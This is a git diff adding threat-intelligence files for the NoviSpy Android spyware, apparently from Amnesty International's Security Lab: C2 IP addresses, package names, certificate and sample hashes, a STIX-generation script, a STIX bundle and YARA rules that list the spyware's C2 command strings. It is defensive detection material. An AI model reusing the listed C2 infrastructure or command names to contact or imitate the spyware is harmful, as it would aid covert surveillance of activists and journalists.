"indicator", + "spec_version": "2.1", + "id": "indicator--8a98555a-f8f2-44f7-9950-83cb4b2346f0", + "created": "2024-05-02T08:36:18.577886Z", + "modified": "2024-05-02T08:36:18.577886Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='triptrick.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.577886Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--682614e3-1b1e-414e-bccd-0d21621d1e75", + "created": "2024-05-02T08:36:18.578276Z", + "modified": "2024-05-02T08:36:18.578276Z", + "relationship_type": "indicates", + "source_ref": "indicator--8a98555a-f8f2-44f7-9950-83cb4b2346f0", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dea0d023-b1ad-405b-9f4c-1745404214a7", + "created": "2024-05-02T08:36:18.578382Z", + "modified": "2024-05-02T08:36:18.578382Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='quickfindnow.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.578382Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aa9a7648-190e-4604-84a3-f8e13c54bf05", + "created": "2024-05-02T08:36:18.578769Z", + "modified": "2024-05-02T08:36:18.578769Z", + "relationship_type": "indicates", + "source_ref": "indicator--dea0d023-b1ad-405b-9f4c-1745404214a7", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + } + ] +} \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/README.md b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/README.md new file mode 100644 index 0000000..c177c40 --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/README.md @@ -0,0 +1,14 @@ +# NoviSpy Indicators of Compromise + +This repository contains indicators of compromise (IoCs) related to the **NoviSpy** Android spyware used by Serbian authorities to target activists and journalists. The NoviSpy spyware has been covertly installed on target Android devices using physical access while at the offices of the Serbian Security Intelligence Agency or police. It is unclear if they spyware is also capable of targeting iPhones. NoviSpy appears to have been developed specifically for the Serbian security services. + +These indicators were identified through forensic research by the Amnesty International [Security Lab](https://securitylab.amnesty.org/). More information about the Serbian **NoviSpy** spyware can be found in the Amnesty International's report ["A Digital Prison": Surveillance and the suppression of civil society in Serbia](https://securitylab.amnesty.org/latest/2024/12/serbia-a-digital-prison-spyware-and-cellebrite-used-on-journalists-and-activists/). + +The STIX2 file can be used with the [Mobile Verification Toolkit](https://github.com/mvt-project/mvt) to look for potential signs of compromise on Android devices. It should be possible to detect this spyware in Android *bugreports*, and AndroidQF extractions. + +It includes the following files: + +* `domains.txt`: List of C2 IPs used in NoviSpy spyware samples +* `package_cert_hashes.txt`: Hashes of Android APK signing certificates used by NoviSpy. +* `package_names.txt`: Android package names used in NoviSpy samples. +* `sha256.txt`: Hashes of NoviSpy spyware samples \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/domains.txt b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/domains.txt new file mode 100644 index 0000000..624a624 --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/domains.txt @@ -0,0 +1,7 @@ +195.178.51.251 +79.101.110.108 +188.93.127.34 +178.220.122.57 +94.140.125.174 +185.86.148.174 +176.223.111.131 \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/generate_stix.py b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/generate_stix.py new file mode 100644 index 0000000..ddd6cbe --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/generate_stix.py @@ -0,0 +1,77 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle) + + +from stix2 import CustomObservable + +# @CustomObservable('x-new-observable-2', [ +# ('a_property', properties.StringProperty(required=True)), +# ('property_2', properties.IntegerProperty()), +# ], [ +# 'a_property' +# ]) +# class NewObservable2(): +# pass + +def hash_format(hash): + if len(hash) == 32: + return "md5" + elif len(hash) == 40: + return "sha1" + elif len(hash) == 64: + return "sha256" + else: + return None + +if __name__ == "__main__": + stix2_file_name = "novispy.stix2" + if os.path.isfile(stix2_file_name): + os.remove(stix2_file_name) + + with open("domains.txt") as f: + domains = list(set([a.strip() for a in f.read().split()])) + + with open("package_names.txt") as f: + package_names = list(set([a.strip() for a in f.read().split()])) + + with open("package_cert_hashes.txt") as f: + package_cert_hashes = list(set([a.strip() for a in f.read().split()])) + + with open("sha256.txt") as f: + sha256_hashes = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name="NoviSpy", is_family=False, description="IOCs for Serbian NoviSpy Android spyware") + res.append(malware) + for d in domains: + i = Indicator(indicator_types=["malicious-activity"], pattern="[domain-name:value='{}']".format(d), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for package_name in package_names: + i = Indicator(indicator_types=["malicious-activity"], pattern="[app:id='{}']".format(package_name), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for cert_hash in package_cert_hashes: + hash_type = hash_format(cert_hash) + if not hash_type: + raise ValueError("Unknown hash type for {}".format(cert_hash)) + + i = Indicator(indicator_types=["malicious-activity"], pattern=f"[app:cert.{hash_type}='{cert_hash}']", pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for sha256_hash in sha256_hashes: + if not hash_format(sha256_hash) == "sha256": + raise ValueError("File hash is not in SHA256 format: {}".format(sha256_hash)) + i = Indicator(indicator_types=["malicious-activity"], pattern=f"[file:hashes.sha256='{sha256_hash}']", pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + + bundle = Bundle(objects=res) + with open(stix2_file_name, "w+") as f: + f.write(bundle.serialize(pretty=True, indent=4)) + print("{} file created".format(stix2_file_name)) diff --git a/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/novispy.stix2 b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/novispy.stix2 new file mode 100644 index 0000000..1089dbf --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/novispy.stix2 @@ -0,0 +1,448 @@ +{ + "type": "bundle", + "id": "bundle--842bf1e2-05c8-4c9a-9a56-869349aaa6ba", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831", + "created": "2024-12-13T21:15:49.152925Z", + "modified": "2024-12-13T21:15:49.152925Z", + "name": "NoviSpy", + "description": "IOCs for Serbian NoviSpy Android spyware", + "is_family": false + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f2784a32-7e47-4aab-a222-08d07d708db9", + "created": "2024-12-13T21:15:49.153129Z", + "modified": "2024-12-13T21:15:49.153129Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='176.223.111.131']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.153129Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4969eaf8-2825-4533-9df5-b21d1f0bf8de", + "created": "2024-12-13T21:15:49.157137Z", + "modified": "2024-12-13T21:15:49.157137Z", + "relationship_type": "indicates", + "source_ref": "indicator--f2784a32-7e47-4aab-a222-08d07d708db9", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--250d0468-85be-4f64-b713-9f16f38e701b", + "created": "2024-12-13T21:15:49.158284Z", + "modified": "2024-12-13T21:15:49.158284Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='195.178.51.251']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.158284Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fa40d886-20de-4838-8fd1-8c47f8265360", + "created": "2024-12-13T21:15:49.158783Z", + "modified": "2024-12-13T21:15:49.158783Z", + "relationship_type": "indicates", + "source_ref": "indicator--250d0468-85be-4f64-b713-9f16f38e701b", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c1727649-7998-4c5c-8c42-c87ff8911991", + "created": "2024-12-13T21:15:49.158896Z", + "modified": "2024-12-13T21:15:49.158896Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='94.140.125.174']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.158896Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--deda9142-7d08-438b-b220-c5dd09ec8376", + "created": "2024-12-13T21:15:49.159288Z", + "modified": "2024-12-13T21:15:49.159288Z", + "relationship_type": "indicates", + "source_ref": "indicator--c1727649-7998-4c5c-8c42-c87ff8911991", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9df7f73a-a2b5-4fb9-89b5-c4c398ae52be", + "created": "2024-12-13T21:15:49.159389Z", + "modified": "2024-12-13T21:15:49.159389Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='178.220.122.57']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.159389Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1c009626-3d8b-4377-ac44-f2bcf48a3197", + "created": "2024-12-13T21:15:49.15967Z", + "modified": "2024-12-13T21:15:49.15967Z", + "relationship_type": "indicates", + "source_ref": "indicator--9df7f73a-a2b5-4fb9-89b5-c4c398ae52be", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ce2e4ce-9693-4073-b64f-4dfe00db29ad", + "created": "2024-12-13T21:15:49.159762Z", + "modified": "2024-12-13T21:15:49.159762Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='185.86.148.174']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.159762Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6a30d4d1-8752-4b53-8233-fbddf71ab0ae", + "created": "2024-12-13T21:15:49.160037Z", + "modified": "2024-12-13T21:15:49.160037Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ce2e4ce-9693-4073-b64f-4dfe00db29ad", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--27792ca5-0167-446d-a885-78056ccb9555", + "created": "2024-12-13T21:15:49.160125Z", + "modified": "2024-12-13T21:15:49.160125Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='188.93.127.34']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.160125Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e10509b1-4007-493e-b23f-5ca2e5a2c7e1", + "created": "2024-12-13T21:15:49.160459Z", + "modified": "2024-12-13T21:15:49.160459Z", + "relationship_type": "indicates", + "source_ref": "indicator--27792ca5-0167-446d-a885-78056ccb9555", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--875840ea-0bed-4549-8144-13cec119acb9", + "created": "2024-12-13T21:15:49.16055Z", + "modified": "2024-12-13T21:15:49.16055Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='79.101.110.108']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.16055Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ebbe0980-44ed-4e6f-81de-8a97538f35ab", + "created": "2024-12-13T21:15:49.160853Z", + "modified": "2024-12-13T21:15:49.160853Z", + "relationship_type": "indicates", + "source_ref": "indicator--875840ea-0bed-4549-8144-13cec119acb9", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab6fe00c-d3bd-4f53-93bf-2d31e08cf40d", + "created": "2024-12-13T21:15:49.160941Z", + "modified": "2024-12-13T21:15:49.160941Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.gu.activity']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.160941Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dbc74918-cdd0-4844-8111-b234ac3673f0", + "created": "2024-12-13T21:15:49.161701Z", + "modified": "2024-12-13T21:15:49.161701Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab6fe00c-d3bd-4f53-93bf-2d31e08cf40d", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b7c463ad-22d9-4005-85d2-0a822592ef82", + "created": "2024-12-13T21:15:49.161792Z", + "modified": "2024-12-13T21:15:49.161792Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.serv.services']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.161792Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--252eb7b0-5033-48d9-b950-8811ae8b1766", + "created": "2024-12-13T21:15:49.162131Z", + "modified": "2024-12-13T21:15:49.162131Z", + "relationship_type": "indicates", + "source_ref": "indicator--b7c463ad-22d9-4005-85d2-0a822592ef82", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--909b894a-de5f-4525-8cef-ce3892b03226", + "created": "2024-12-13T21:15:49.162221Z", + "modified": "2024-12-13T21:15:49.162221Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.li.activity']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.162221Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--93936df0-ebcc-489f-b902-e47c183f6cc3", + "created": "2024-12-13T21:15:49.16251Z", + "modified": "2024-12-13T21:15:49.16251Z", + "relationship_type": "indicates", + "source_ref": "indicator--909b894a-de5f-4525-8cef-ce3892b03226", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b727dda3-c853-4e50-a76f-ede055c5d9d0", + "created": "2024-12-13T21:15:49.1626Z", + "modified": "2024-12-13T21:15:49.1626Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.accesibilityservice']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.1626Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5797281f-343a-4131-b2c9-1951a121e8c6", + "created": "2024-12-13T21:15:49.162892Z", + "modified": "2024-12-13T21:15:49.162892Z", + "relationship_type": "indicates", + "source_ref": "indicator--b727dda3-c853-4e50-a76f-ede055c5d9d0", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--060f709b-6b13-4039-9f3b-35474b92a528", + "created": "2024-12-13T21:15:49.162979Z", + "modified": "2024-12-13T21:15:49.162979Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:cert.sha256='3ac97735164824657b683e805133b1274b2dedabf9fdd6aa9aca31089d501e64']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.162979Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9ffa5599-cf6c-44a0-8482-949626ad5d60", + "created": "2024-12-13T21:15:49.164295Z", + "modified": "2024-12-13T21:15:49.164295Z", + "relationship_type": "indicates", + "source_ref": "indicator--060f709b-6b13-4039-9f3b-35474b92a528", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e0c172bb-e8eb-434e-8266-09feafdaa206", + "created": "2024-12-13T21:15:49.164396Z", + "modified": "2024-12-13T21:15:49.164396Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:cert.sha256='35926e966186c8f2deec66864389d73989c75c85cb6668da2f455db6fe67e91f']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.164396Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d1b9b2a-051d-4b38-91ef-b60ee17d2acb", + "created": "2024-12-13T21:15:49.16473Z", + "modified": "2024-12-13T21:15:49.16473Z", + "relationship_type": "indicates", + "source_ref": "indicator--e0c172bb-e8eb-434e-8266-09feafdaa206", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c0b0fa21-3f5b-4201-b0cf-ec0a44a70335", + "created": "2024-12-13T21:15:49.164823Z", + "modified": "2024-12-13T21:15:49.164823Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:cert.sha256='38693e1ea0fbf39d28f66b1714fdeed4e23b3973276481097d2d66e87f3647eb']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.164823Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c565aa18-93ff-4c29-861f-0e13e453f7c8", + "created": "2024-12-13T21:15:49.165381Z", + "modified": "2024-12-13T21:15:49.165381Z", + "relationship_type": "indicates", + "source_ref": "indicator--c0b0fa21-3f5b-4201-b0cf-ec0a44a70335", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a3f22e28-75cd-467f-8349-a8c0a0ea3654", + "created": "2024-12-13T21:15:49.165549Z", + "modified": "2024-12-13T21:15:49.165549Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='d55e492d5fce87898e065572a5553d1ac1389cd12bf3d28cabc1218cb29780af']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.165549Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba7b7587-af4c-4d9d-a5df-4f5b24385d72", + "created": "2024-12-13T21:15:49.166296Z", + "modified": "2024-12-13T21:15:49.166296Z", + "relationship_type": "indicates", + "source_ref": "indicator--a3f22e28-75cd-467f-8349-a8c0a0ea3654", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--99079f12-e131-4be9-b257-412671922265", + "created": "2024-12-13T21:15:49.1664Z", + "modified": "2024-12-13T21:15:49.1664Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='54ee2c4f3e2396b6f92def135d68abd35d63ca7f9c304633a36f705ba4728cb7']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.1664Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4dfed635-fac9-4408-95ba-0b0f3a07820d", + "created": "2024-12-13T21:15:49.166781Z", + "modified": "2024-12-13T21:15:49.166781Z", + "relationship_type": "indicates", + "source_ref": "indicator--99079f12-e131-4be9-b257-412671922265", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9e6318cc-56ee-4be1-849a-f0339837d0a1", + "created": "2024-12-13T21:15:49.166874Z", + "modified": "2024-12-13T21:15:49.166874Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='99673ce7f10e938ed73ed4a99930fbd6499983caa7a2c1b9e3f0e0bb0a5df602']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.166874Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cd1d9312-c9e5-42c9-931b-b673e1f3a7f1", + "created": "2024-12-13T21:15:49.167212Z", + "modified": "2024-12-13T21:15:49.167212Z", + "relationship_type": "indicates", + "source_ref": "indicator--9e6318cc-56ee-4be1-849a-f0339837d0a1", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4b278e85-9d79-45ca-babc-b33402c71e56", + "created": "2024-12-13T21:15:49.167352Z", + "modified": "2024-12-13T21:15:49.167352Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='087fc1217c897033425fe7f1f12b913cd48918c875e99c25bdb9e1ffcf80f57e']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-12-13T21:15:49.167352Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1a3a8e01-7c95-4d72-87d7-5b47940259f3", + "created": "2024-12-13T21:15:49.167815Z", + "modified": "2024-12-13T21:15:49.167815Z", + "relationship_type": "indicates", + "source_ref": "indicator--4b278e85-9d79-45ca-babc-b33402c71e56", + "target_ref": "malware--fc5f2370-9d5b-4660-98d2-f7668b235831" + } + ] +} \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/novispy.yara b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/novispy.yara new file mode 100644 index 0000000..4ea0559 --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/novispy.yara @@ -0,0 +1,154 @@ +rule APT_serbia_novispy_android_accesibilityservice { + meta: + description = "Rule for Serbian NoviSpy Android spyware APK, com.accesibilityservice version" + author = "Donncha O Cearbhaill, Amnesty International" + sample = "99673ce7f10e938ed73ed4a99930fbd6499983caa7a2c1b9e3f0e0bb0a5df602" + + strings: + $dex = { 64 65 78 0A 30 33 ?? 00 } + + // C2 communication + $c2_1 = "195.178.51.251" + $c2_2 = "79.101.110.108" + $c2_3 = "188.93.127.34" + + // Unique Strings + $u_1 = "kataklinger vibercajzna" ascii nocase + $u_2 = "select action_command.* from action_command where action_id = ? and trigger_type = ?" ascii nocase + $u_3 = "6FDF20EAFA2D58AF609C72AE7092BB45" ascii nocase + $u_4 = "{\"cellChangeMonitoring\":true,\"signalStrengthMonitoring\":true,\"temperatureDelta\":1," ascii nocase + $u_5 = "{\"fileUpload\":false,\"audioRecording\":false,\"cellChangeMonitoring\":true,"ascii nocase + $u_6 = "\"serverIp\":\"188.93.127.34\"" ascii nocase + $u_7 = "ucitavanjepodataka" ascii nocase + + // Other strings + $s_1 = "test.dat" ascii + $s_2 = "/active.config" ascii + $s_3 = "message_map.ser" ascii + $s_4 = "event type =" ascii + $s_5 = "change type subtree" ascii + $s_6 = "change type content description" ascii + $s_7 = "change type pane title" ascii + $s_8 = "content change type pane_appeared" ascii + $s_9 = "window state changed" ascii + $s_10 = "notification state changed" ascii + $s_11 = "window content changed" ascii + $s_12 = "view scrolled" ascii + $s_13 = "type selection changed" ascii + $s_14 = "type announcement" ascii + $s_15 = "scroll position =" ascii + $s_16 = "imei=%s;imsi=%s;phone=%s;sim_serial=%s;os=%s" + $s_17 = "imei=%s;imsi=%s;phone=%s;sim_serial=%s;roaming=%s;os=%s" + $s_18 = "last message = %s, level = %d, hash = %s, node count = %d" + $s_19 = "MyAccessibilityService" + + condition: + $dex at 0 and ( + any of ($u*) or + any of ($c2*) or + 7 of ($s*) + ) + } + + +rule APT_serbia_novispy_android_serv_services { + meta: + description = "Rule for Serbian NoviSpy Android spyware APK, com.serv.services version" + author = "Donncha O Cearbhaill, Amnesty International" + sample = "087fc1217c897033425fe7f1f12b913cd48918c875e99c25bdb9e1ffcf80f57e" + + strings: + $dex = { 64 65 78 0A 30 33 ?? 00 } + + // C2 communication + $c2_comm_1 = "178.220.122.57" + + // Unique Strings + + + // C2 commands received via SMS + $sms_c2_cmd_1 = "C_ARF" ascii + $sms_c2_cmd_2 = "C_ARN" ascii + $sms_c2_cmd_3 = "C_AWF" ascii + $sms_c2_cmd_4 = "C_AWI" ascii + $sms_c2_cmd_5 = "C_AWN" ascii + $sms_c2_cmd_6 = "C_CRF" ascii + $sms_c2_cmd_7 = "C_CRN" ascii + $sms_c2_cmd_8 = "C_LCW" ascii + $sms_c2_cmd_9 = "C_MNS" ascii + $sms_c2_cmd_10 = "C_MXS" ascii + $sms_c2_cmd_11 = "C_R_F" ascii + $sms_c2_cmd_12 = "C_R_N" ascii + $sms_c2_cmd_13 = "C_SMF" ascii + $sms_c2_cmd_14 = "C_SMN" ascii + $sms_c2_cmd_15 = "C_SWF" ascii + $sms_c2_cmd_16 = "C_SWN" ascii + $sms_c2_cmd_17 = "C_UIR" ascii + $sms_c2_cmd_18 = "C_UMF" ascii + $sms_c2_cmd_19 = "C_UMN" ascii + $sms_c2_cmd_20 = "C_UWF" ascii + $sms_c2_cmd_21 = "C_UWN" ascii + $sms_c2_cmd_22 = "C_WLF" ascii + $sms_c2_cmd_23 = "C_WLN" ascii + + // C2 commands received via FTP. + // This is not a comprehensive list of commands, generic command names are excluded to prevent false positives. + $ftp_c2_cmd_1 = "CALL_REC_OFF" ascii + $ftp_c2_cmd_2 = "CALL_REC_ON" ascii + $ftp_c2_cmd_3 = "CHARGING_REC_OFF" ascii + $ftp_c2_cmd_4 = "CHARGING_REC_ON" ascii + $ftp_c2_cmd_5 = "SECURE_REC_OFF" ascii + $ftp_c2_cmd_6 = "SECURE_REC_ON" ascii + $ftp_c2_cmd_7 = "SSD_MOBILE_OFF" ascii + $ftp_c2_cmd_8 = "SSD_MOBILE_ON" ascii + $ftp_c2_cmd_9 = "SSD_WIFI_OFF" ascii + $ftp_c2_cmd_10 = "SSD_WIFI_ON" ascii + $ftp_c2_cmd_11 = "UPLOAD_INTERVAL" ascii + $ftp_c2_cmd_12 = "UPLOAD_MOBILE_OFF" ascii + $ftp_c2_cmd_13 = "UPLOAD_MOBILE_ON" ascii + $ftp_c2_cmd_14 = "UPLOAD_WIFI_OFF" ascii + $ftp_c2_cmd_15 = "UPLOAD_WIFI_ON" ascii + $ftp_c2_cmd_16 = "AUTO_WIFI_INTERVAL" ascii + $ftp_c2_cmd_17 = "WIFI_LOCK_ON" ascii + $ftp_c2_cmd_18 = "WIFI_LOCK_OFF" ascii + $ftp_c2_cmd_19 = "AUTO_WIFI_ON" ascii + $ftp_c2_cmd_20 = "AUTO_WIFI_OFF" ascii + $ftp_c2_cmd_21 = "START_AUDIO" ascii + + // App local settings configured based on C2 commands. + $setting_1 = "UIR" ascii + $setting_2 = "ULW" ascii + $setting_3 = "ULM" ascii + $setting_4 = "SSW" ascii + $setting_5 = "SSM" ascii + $setting_6 = "CRN" ascii + $setting_7 = "SRN" ascii + $setting_8 = "CRC" ascii + $setting_9 = "MXS" ascii + $setting_10 = "MNS" ascii + $setting_11 = "AWF" ascii + $setting_12 = "AWI" ascii + $setting_13 = "CHR" ascii + $setting_14 = "WLS" ascii + $setting_15 = "A_R_N" ascii + $setting_16 = "A_R_F" ascii + $setting_17 = "U_I" ascii + $setting_18 = "U_W_N" ascii + $setting_19 = "S_W_N" ascii + $setting_20 = "U_M_F" ascii + $setting_21 = "S_M_F" ascii + $setting_22 = "A_W_F" ascii + $setting_23 = "A_W_I" ascii + $setting_24 = "W_L_N" ascii + $setting_25 = "C_R_F" ascii + $setting_26 = "CH_R_F" ascii + $setting_27 = "S_R_N" ascii + + condition: + $dex at 0 and ( + any of ($c2_comm*) or + 20 of ($sms_c2_cmd*) or + 20 of ($ftp_c2_cmd*) or + 20 of ($setting*) + ) +} \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/package_cert_hashes.txt b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/package_cert_hashes.txt new file mode 100644 index 0000000..9032ea5 --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/package_cert_hashes.txt @@ -0,0 +1,3 @@ +3ac97735164824657b683e805133b1274b2dedabf9fdd6aa9aca31089d501e64 +35926e966186c8f2deec66864389d73989c75c85cb6668da2f455db6fe67e91f +38693e1ea0fbf39d28f66b1714fdeed4e23b3973276481097d2d66e87f3647eb \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/package_names.txt b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/package_names.txt new file mode 100644 index 0000000..70ecf81 --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/package_names.txt @@ -0,0 +1,4 @@ +com.serv.services +com.accesibilityservice +com.li.activity +com.gu.activity \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/sha256.txt b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/sha256.txt new file mode 100644 index 0000000..1e8aabb --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-12-16_serbia_novispy/sha256.txt @@ -0,0 +1,4 @@ +54ee2c4f3e2396b6f92def135d68abd35d63ca7f9c304633a36f705ba4728cb7 +d55e492d5fce87898e065572a5553d1ac1389cd12bf3d28cabc1218cb29780af +99673ce7f10e938ed73ed4a99930fbd6499983caa7a2c1b9e3f0e0bb0a5df602 